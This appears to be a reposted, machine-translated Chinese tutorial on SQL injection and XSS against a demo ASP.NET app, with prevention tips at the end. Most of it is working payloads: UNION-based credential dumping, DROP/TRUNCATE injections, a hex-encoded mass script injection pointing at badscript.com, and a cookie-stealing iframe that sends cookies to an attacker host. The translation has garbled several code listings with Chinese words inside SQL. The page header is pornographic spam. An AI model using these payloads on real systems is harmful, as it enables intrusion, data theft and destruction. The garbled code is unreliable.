久久综合九色综合97婷婷-美女视频黄频a免费-精品日本一区二区三区在线观看-日韩中文无码有码免费视频-亚洲中文字幕无码专区-扒开双腿疯狂进出爽爽爽动态照片-国产乱理伦片在线观看夜-高清极品美女毛茸茸-欧美寡妇性猛交XXX-国产亚洲精品99在线播放-日韩美女毛片又爽又大毛片,99久久久无码国产精品9,国产成a人片在线观看视频下载,欧美疯狂xxxx吞精视频

有趣生活

當前位置:首頁>科技>sql注入個人總結(SQL注入和跨站點腳本實例分析)

sql注入個人總結(SQL注入和跨站點腳本實例分析)

發布時間:2023-11-08閱讀(40)

特別聲明:本文的目的,是讓廣大開發者重視自己在做Web系統開發,需要注重的代碼安全問題。本文只是案例分析,請勿作攻擊他人網站。

什么是SQL注入和跨站點腳本

跨站腳本(XSS或CSS)

  • 使惡意攻擊者將客戶端腳本(Javascript)或HTML標記注入其他用戶查看的網頁。

SQL注入

  • 通過輸入數據從客戶端到應用程序插入SQL查詢,后來傳遞給SQL Server實例進行解析和執行。

  • 非常常見于PHP和Classic ASP應用程序。

示例應用程序/使用代碼

  • 設置示例應用程序的步驟

  1. 創建一個新數據庫并將其命名為TestDB。

  2. 創建一個新的登錄并將其映射到TestDB。

  3. 運行TestDBSetup.sql。

  • 運行示例應用程序的步驟

  1. 此示例代碼需要Visual Studio 2008或更高版本; 如果沒有,請從Microsoft下載90天的試用版(點擊此處)。

  2. 下載示例代碼并解壓縮。

  3. 更新在連接字符串的web.config。

  4. 運行應用程序并按照本文中所述的示例進行操作。對不起,突出顯示的文字在這里沒有正確顯示。復制和粘貼時,請務必從示例URL中刪除任何換行符。

  5. 下面顯示了示例代碼的結構。

程序結構如下圖:

程序結構圖

查詢字符串

  • SQL注入

定義:通過輸入數據從客戶端插入到隨后傳遞給SQL Server實例以解析和執行的應用程序的SQL查詢。

  • UNION SQL注入

我們將使用UNION語句挖掘數據庫中的所有表名。連續兩個“ - ”表示SQL注釋。見下面的注釋是綠色的,連字符之后的查詢語句不會被SQL服務器評估。

清單1

SELECT * FROM dbo.MyComments WHERE ID = 1 - ORDER BY [Name]

執行如下所示的URL:

執行如下所示的URL:

清單2

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL FROM INFORMATION_SCHEMA.TABLES -

它將產生結果“使用UNION,INTERSECT或EXCEPT運算符組合的所有查詢必須在其目標列表中具有相等數量的表達式。如果我們嘗試運行此錯誤消息出現UNION,INTERSECT或EXCEPT查詢在其表達式不相等數量的SELECT清單部分。解決方法是NULL在URL 中繼續添加表達式,直到錯誤消息消失。

清單3

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,NULL FROM INFORMATION_SCHEMA.TABLES - ... http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,NULL, NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.TABLES -

如果查詢在查詢中具有相等的表達式數量,則錯誤消息將消失NULL。接下來,嘗試用NULL替換TABLE_NAME每個值。如果您收到錯誤消息,請將其保留為NULL。

清單4

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,TABLE_NAME, TABLE_NAME,TABLE_NAME,TABLE_NAME,NULL,NULL FROM INFORMATION_SCHEMA.TABLES--

結果

sql注入個人總結(SQL注入和跨站點腳本實例分析)(1)

從上面顯示的輸出,我們知道數據庫包含幾個表,即MyComments,tbl_SQLInjection,tbl_users和TestTable。接下來,我們將提取tbl_users表中的每個列名。執行清單5所示的URL。

清單5

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = tbl_users -

結果

sql注入個人總結(SQL注入和跨站點腳本實例分析)(2)

從上面顯示的輸出可以看出,tbl_users包含地址,密碼,電話,秘密,secret2和用戶名列。要確認,如下所示是SQL Server中tbl_users表模式的快照。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(3)

對不同的表名重復相同的步驟。

清單6

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,COLUMN_NAME, COLUMN_NAME,COLUMN_NAME,COLUMN_NAME,NULL,NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = MyComments - ...

讓我們檢索存儲在tbl_users表中的數據。%2b%27分別是“ ”和“”“的URL編碼。執行下面顯示的URL。

清單7

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,用戶名%2B %27 - %27%2B密碼,秘密%2B%27 - %27%2B secret2,地址,電話%2B%27 - %27%2Baddress,NULL,NULL FROM tbl_users -

結果

sql注入個人總結(SQL注入和跨站點腳本實例分析)(4)

要確認,如下所示是tbl_users表內容的快照。對其余表重復相同的步驟。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(5)

從sysprocesses表中檢索數據

我們還可以從master..sysprocesses表中檢索SQL Server實例名稱,登錄名,數據庫名稱,SQL Server版本等。執行下面的URL并觀察輸出。

清單8

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UNION SELECT NULL,DB_Name([dbid]) %2B CHAR(0x2d)%2B loginame,net_address,hostname%2B CHAR(0x2d)%2B%40%40ServerName, %40%40version,NULL,NULL FROM master..sysprocesses -

更新表

清單9

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE tbl_Users SET Password = HACKED WHERE用戶名= test@test.com -

結果

sql注入個人總結(SQL注入和跨站點腳本實例分析)(6)

刪除表中的數據

清單10

HTTP://本地主機:1234 /采樣/ ListComments.aspx CID = 99999 DELETE FROM tbl_Users WHERE用戶名= test@test.com -

TRUNCATE表

清單11

http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 TRUNCATE TABLE tbl_Users -

刪除表

清單12

http:// localhost:1234 / Sample / ListComments.aspx?cid = 99999 DROP TABLE tbl_Users -

基于Hex的SQL注入

一段時間后,我們將在服務器日志文件中看到下面列出的一些奇怪的條目:

清單13

http://www.YourDomain.com/SomePage.asp?id=1&cat = c DECLARE%20 @ S%20NVARCHAR(4000); SET%20 @ S = CAST(4445434c415245204054207661726368617228323535292c40432076617263 68617228343030302920da4445434c415245205461626c655f437572736f7220435552534f52204 64f5220da73656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a656374 7320612c737973636f6c756d6e73206220da776865726520612e69643d622e696420616e6420612 e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335 206f7220622e78747970653d323331206f7220622e78747970653d3136372920da4f50454e20546 1626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f 7220494e544f2040542c4043205748494c452840404645 ...

哪個在解碼到字符串時會變成(請不要復制并運行這個查詢):

清單14

DECLARE @T VARCHAR(255),@C VARCHAR(4000) DECLARE Table_Cursor CURSOR FOR 選擇 a.name,b.name 從 sysobjects中,syscolumns中b 其中 a.id = b.id 和 a.xtype = U 和( b.xtype = 99 或 b.xtype = 35 或 b.xtype = 231 或 b.xtype = 167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@ FETCH_STATUS = 0) BEGIN exec( update [ @ T ] set [ @ C ] = “> </ title> <script src =”http:// badscript。 com / bad.js“> </ script> <! - [ @ C ]其中 @ C 不像 %> </ title> <script SRC = “http://badscript.com/bad.js”> </ SCRIPT> <! - ” ) FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

上述查詢將查找每個數據庫表中的所有文本列,并附加惡意腳本。

舉個例子

下面顯示的是一個帶有查詢字符串的URL,以通過注釋ID來從SQL Server檢索注釋:

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1

為了簡單起見,我使用一個簡單的Update語句來更新表?!?Update dbo.MyComment Set test=HACKED”查詢將看起來像十六進制的0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427。的%3B是的URL編碼的“;” 字符。將字符串附加到URL。見下文。

清單15

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(255) SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR(255))exec(@s)- 或 http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(255)SET @ s = CAST(0x5550444154452064626f2e4d79436f6d6d656e74732053455420746573743d274841434b454427 AS VARCHAR(255))exec(@s)-

執行上述URL之前:

sql注入個人總結(SQL注入和跨站點腳本實例分析)(7)

執行上述URL后:

sql注入個人總結(SQL注入和跨站點腳本實例分析)(8)

測試

將以下字符串附加到您的網頁的URL中,該URL將參數:

清單16

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 DECLARE @S VARCHAR(500) SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c496e6a656374696f6e272c275527292 04953204e554c4c20435245415445205441424c452064626f2e5b74626c5f53514c496e6a656374696f6e5d2 85b4f75747075745d205b766172636861725d2835303029204e554c4c2920494e5345525420494e544f20646 26f2e74626c5f53514c496e6a656374696f6e2053454c454354202770616765202d205375626a65637420746 f2053514c20496e6a656374696f6e27 作為 VARCHAR(500))Exec(@s)-

如果URL參數值不是整數,請嘗試追加;);;在DECLARE關鍵字的前面。見下面的例子。

清單17

; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c 496e6a656374696f6e272c27552729204953204e554c4c20435245415445205441424c452064626f2e5b7462 6c5f53514c496e6a656374696f6e5d285b4f75747075745d205b766172636861725d2835303029204e554c4c 2920494e5345525420494e544f2064626f2e74626c5f53514c496e6a656374696f6e2053454c45435420277061 6765202d205375626a65637420746f2053514c20496e6a656374696f6e27 作為 VARCHAR(500))Exec(@s)- ...

然后,在SQL Server Management Studio 中執行SELECT * FROM dbo.tbl_SQLInjection查詢:“ ”。如果看到類似于下面所示的結果,那么網頁將進行基于十六進制的SQL注入。對其余網頁重復上述步驟。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(9)

如果URL參數值不是整數,請嘗試追加;);;在查詢前。

跨站腳本(CSS / XSS)攻擊

定義:使惡意攻擊者將客戶端腳本或HTML標記注入其他用戶查看的網頁。假設我們有一個登錄頁面,并顯示每個不成功的嘗試的錯誤消息。錯誤消息存儲在URL的查詢字符串中,并隨后顯示在Label控件中。如下圖:

sql注入個人總結(SQL注入和跨站點腳本實例分析)(10)

考慮這種情況,匿名用戶向您發送一封包含以下內容的電子郵件:

清單18

尊敬的管理員, 登錄頁面有問題:http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%22%3E%3C%73%63%72%69%70% 74%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39% 39%39%37% 2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69%70%74%2E% 6A%73%22% 3E%3C%2F%73%63%72%69%70%74%3E 要么 “登錄頁面有問題http:// localhost:1234 / Sample / LoginPage.aspx” URL指向上述鏈接。

URL的一部分被編碼為十六進制值。解碼時會變成:

清單19

http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <script src =” http:// localhost:9997 / badhost / maliciousscript.js“ > </ script >

如果我們讓我們防范并點擊電子郵件中的鏈接,瀏覽器將執行惡意腳本。執行該URL,您應該會看到一個彈出消息。下面顯示的是嵌入在查詢字符串中以竊取瀏覽器Cookie的腳本。

清單20

http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%76%61%72% 20%73%3D%27%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%64%69%73%70%6C%61% 79%3A%6E%6F%6E% 65%22%20%53%52%43%3D%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39% 39%39%37%2F%62% 61%64%68%6F%73%74%2F%63%6F%6F%6B%69%65%6D%6F%6E%73%74%65%72%2E%61%73%70%78% 3F%63%3D%27%2b% 65%73%63%61%70%65%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%2b%27% 3E%3C%5C%2F%49% 46%52%41%4D%45%3E%27%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%73%29% 3C%2F%73%63%72% 69%70%74%3E

解碼后的網址如下:

清單21

http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <script> var s =<IFRAME style =“display:none”SRC = http:// localhost:9997 / badhost / cookiemonster.aspx?c = %2bescape(document.cookie)%2b> < / IFRAME>; document.write(s)</ script>

該腳本將嵌入IFRAME頁面并指向http:// localhost:9997 / badhost / cookiemonster.aspx,其中包含查詢字符串參數“c”。此參數保存由“ SQLInjection_XSS_Demo ”應用程序創建的cookie值。為了演示這個,我在LoginPage.aspx上創建了一些cookies 。cookiemonster.aspx將記錄所有在cookie名稱和值CookieJar.txt。

清單22

void FakeCookies() { Response.Cookies [ “ email” ] .Value = “ bryian.tan@mydomain.com” ; Response.Cookies [ “ email” ] .Expires = DateTime.Now.AddDays(1); Response.Cookies [ “ age” ] .Value = “ 22” ; Response.Cookies [ “ age” ] .Expires = DateTime.Now.AddDays(1); }

執行上述URL后,我們將在CookieJar.txt中看到以下條目。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(11)

所以呢?攻擊者將會怎樣處理我的cookies信息?假設登錄嘗試成功后,頁面會將一些信息存儲在cookie中。使用tbl_users表中找到的用戶名登錄,然后刷新網頁。該頁面將從Cookie中提取一些信息,并將結果顯示在頁面上。見下文。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(12)

使用惡意腳本更新表

我們已經知道上一個示例中的表和列名稱。執行列表23中顯示的URL以使用JavaScript更新MyComment表以篡改Cookie。該腳本將腳本注入到cookies值中。然后導航到ListComments.aspx頁面以觸發腳本并返回LoginPage.aspx。您應該看到一個彈出消息“ 來自不良主機的XSS ”,表示腳本被瀏覽器成功執行。

清單23

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Comment =%27 <script> c =“ <script src = ”http:// localhost:9997 / badhost / maliciousscript.js “> < / script>”; document.cookie =“email =”%2bc; </ script> test%27 WHERE id = 1 -

我們在MyComment表中附加一些惡意腳本。執行如下所示的URL:

清單24

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 %55%50%44%41%54%45%20%4D%79%43%6F%6D%6D%65 %6E%74%73%20%53%45%54%20%4E%61%6D%65%3D%27%3C%73%63%72%69%70%74%20%73% 72%63%3D%22%68%74%74%70%3A%2F%2F%6C%6F%63%61%6C%68%6F%73%74%3A%39%39%3 9%37%2F%62%61%64%68%6F%73%74%2F%6D%61%6C%69%63%69%6F%75%73%73%63%72%69 %70%74%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%27%20%2D%2D

URL字符串的一部分在解碼時將變為:

清單25

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name =<script src =“http:// localhost:9997 / badhost / maliciousscript.js”> </ script> -

刷新頁面,我們將看到如下所示的彈出消息。這表示攻擊者制作的惡意腳本被瀏覽器成功執行。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(13)

下面顯示的URL將嵌入HTML的IFrame的頁面,并會觸發cookiemonster.aspx每一個用戶導航到時間頁面ListComments.aspx頁。執行它,導航到ListComments.aspx頁面,并觀察到新的內容被附加到CookieJar.txt文件,而沒有跟蹤或警告消息。

清單26

http:// localhost:1234 / Sample / ListComments.aspx?cid = 1 UPDATE MyComments SET Name = <script> var s =“<IFRAME style = display:none SRC = http:// localhost:9997 / badhost / cookiemonster.aspx? c =“%2bescape(document.cookie)%2b”> < / IFRAME>“; document.write(s)</ script> -

快速測試

將以下任何字符串附加到您的網頁的參與網址。如果您看到一個彈出消息,那么該網頁將受到跨站點腳本攻擊。

  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <scrIpt> alert(”XSS“)</ scriPt>

  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr =%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%58%53 %53%22%29%3C%2F%73%63%72%69%70%74%3E

  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr = </ TITLE> <sCRIPT> alert(“XSS”); </ SCRIPt>

  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr = <BODY%20ONLOAD = alert(“XSS”)>

  • http:// localhost:1234 / Sample / LoginPage.aspx?strErr =“> <iFRAME%20SRC =”javascript:alert(XSS);“> </ IFRaME>

表單輸入

SQL注入

我們可以通過簡單地向登錄ID 添加“或1 = 1 -”)或1 = 1--來繞過登錄頁面,并將任何值放在密碼字段中。參見下面的例子。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(14)

如果沒有定義的最大字符數TextBox,則攻擊者可以將上述SQL語句附加到表單的輸入值。假設我們有一個頁面來更新評論,并用下面顯示的值更新評論。在更新后,我們應該在tbl_SQLInjection表中看到一個新條目。

清單27

; DECLARE @S VARCHAR(500)SET @ s = CAST(0x4946204f424a4543545f4944282774626c5f53514c

接下來,我將演示一種簡單的方式,攻擊者可以更新表中具有相同值的每一列。我們來更新名稱值被黑客;

sql注入個人總結(SQL注入和跨站點腳本實例分析)(15)

從MyComments表中檢索所有行,您將看到“名稱”列中的所有值都更新為“已被黑客入侵”。如前所述,連續兩個連字符“ - ”表示SQL注釋; 連字符之后的查詢語句將不會被SQL Server評估。在復制此演示之前,請確保備份數據庫。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(16)

跨站腳本

跨站點腳本可使惡意攻擊者將客戶端腳本或HTML標記注入其他用戶查看的網頁。這可以通過輸入表單發生。使用字符串“ <script src =”http:// localhost:9997 / badhost / maliciousscript.js“> </ script>更新注釋。當您導航到ListComments.aspx頁面時,您應該會看到一個彈出消息。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(17)

快速測試

使用下面列出的任何字符串更新表單值,并觀察結果。確保字符串在一行并且沒有換行符。如果JavaScript被瀏覽器成功執行或者顯示意想不到的結果,那么網頁將受到跨站點腳本編寫。

  • <BODY ONLOAD =javascript:window.location =“http://www.google.com”>>

  • <BODY ONLOAD =“javascript:alert(XSS)”>

  • <p onmouseover = javascript:window.location =“http:// www。google.com”;> test

  • <p onmousemove = javascript:window.location =“http:// www。google.com”;> test

  • <p onMouseDown = javascript:window.location =“http://www.google.com”;> test

  • <span onmouseover = javascript:window.location =“http:// www。google.com”;> test </ span>

  • <span onmousemove = javascript:window.location =“http://www.google.com”;> test </ span>

  • <h2 onmouseover = javascript:window.location =“http://www.google.com”;> test

  • <div onmouseover = javascript:window.location =“http:// 1208929383”;> test

  • <meta http-equiv =“refresh”content =“1; URL = http:// 1208929383”>

  • <b onmouseover = javascript:window.location =“http://www.google.com”;> test

  • <img onmouseover = javascript:window.location =“http://www.google.com”;>

  • <img src = http://www.google.com/images/srpr/nav_logo14.png width =“1”height =“1”onLoad = javascript:window.location =“http://www.google.com” ;>

  • <div style =“width:100%”onresize = javascript:window.location =“http://www.google.com”;> test </ div>(調整瀏覽器大小以查看行為)

  • <tt style =“width:100%”onmousemove = javascript:window.location =“http://www.google.com”;> test

  • <PLAINTEXT>測試

  • <object>測試

  • <applet>測試

  • <textarea>測試

  • <title>測試

  • <table>測試

  • <style>測試

  • <noscript>測試

JavaScript事件注入漏洞

該JavaScriptFunctionInjection.aspx頁面包含如何使用ASP.NET內嵌標簽和客戶端輸入控制復制的JavaScript事件注入漏洞的兩個例子。第一個示例使用單引號,第二個示例使用引號。請參見下圖TextBox。如果ValidateRequest設置為false,將出現這種漏洞。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(18)

在輸入框中鍵入一些內容,您應該看到類似于圖20的結果。注意:第一個示例的輸出已編碼,單引號被雙引號替換。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(19)

到底是怎么回事?我們編碼了輸出,并用雙引號代替了單引號!我們來仔細看看HTML標記代碼。JavaScript事件已成功注入第一個示例,但被第二個示例視為字符串。該HtmlEncode方法沒有避免單引號,而是正確地轉義了引號。我建議避免在單引號之間包裝ASP.NET內聯代碼。別忘了測試第二個例子。第二個例子的輸出沒有被有意編碼。

清單28

< 輸入ID = “ 文本1" 名稱=” 文本1" 類型= “ 文本” 值= A 的onkeydown = 警報( “ 疑難雜癥 的onkeydown”) / >< input id =“ Text2” name =“ Text2” type =“ text” value =“ a” onKeyDown = alert(“ gotcha onKeyDown”)“” / >

防止SQL注入/跨站點角本的注意事項

  • 不要僅僅依靠客戶端驗證(JavaScript)

攻擊者可以通過在Web瀏覽器中禁用JavaScript來繞過客戶端驗證。不要僅依賴于JavaScript來搜索和替換潛在的危險HTML語句或SQL注入關鍵字。確保在服務器端重新驗證用戶輸入。我知道這是很多工作,但為了安全起見,我們必須這樣做。在“添加注釋”部分中,該頁面使用JavaScript來檢查空白字段。嘗試在瀏覽器上禁用JavaScript,并再次添加評論。點擊此處了解如何禁用和啟用JavaScript。

  • 用雙引號()替換單引號()

我看到一些網站提到可以通過簡單地用雙引號替換單引號來防止SQL注入漏洞。情況并非如此; 攻擊者仍然可以使用惡意腳本或HTML標記注入表,而不使用單引號。惡意用戶可以通過使用不同的字符編碼來繞過過濾器。

  • 內聯代碼/標簽

有幾種從ASP.NET程序中顯示信息的方法。我們可以使用嵌入式代碼塊在頁面中顯示信息。<%...%>或使用<%= ...%>構造。另一種方法是使用數據綁定語法<%#...%>將控件屬性值綁定到數據,并指定檢索,更新,刪除和插入數據的值。確保在網頁中顯示之前,將表單數據和其他客戶端請求進行編碼(HttpUtility.HtmlEncode)。這將有助于防止可能的跨站點腳本注入攻擊。使用ASP.NET 4.0,新的<%:...%>代碼塊 - 語法將在渲染之前自動對輸出進行編碼。

  • 存儲過程

我在我的Web應用程序中使用存儲過程。存儲過程是否免疫SQL注入攻擊?答案是“依賴”。如果我們在Stored Procedures中使用動態SQL語句,那么它們可能對SQL Injection攻擊開放。下面顯示了一個存儲過程,其中包含動態SQL語句。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(20)

更新注釋字段的值哈哈哈; -?!笆褂脙嚷摬樵兏隆焙汀笆褂肧P - 動態查詢更新”按鈕將更新表中具有指定值的每個注釋字段。另一方面,“使用SP更新”按鈕只會更新當前記錄。

sql注入個人總結(SQL注入和跨站點腳本實例分析)(21)

  • 請求驗證(ASP.NET)

請注意,ValidateRequest指令中的@page屬性設置為false,以便模擬經典ASP環境,并防止.NET Framework拋出錯誤:“ Request.Form從客戶端檢測到潛在的危險值”。如果您在應用程序中遇到此錯誤消息,請在禁用請求驗證之前重新思考業務邏輯或頁面體系結構。

,
TAGS標簽:  注入  個人  總結  站點

歡迎分享轉載→http://www.avcorse.com/read-967.html

Copyright ? 2024 有趣生活 All Rights Reserve吉ICP備19000289號-5 TXT地圖HTML地圖XML地圖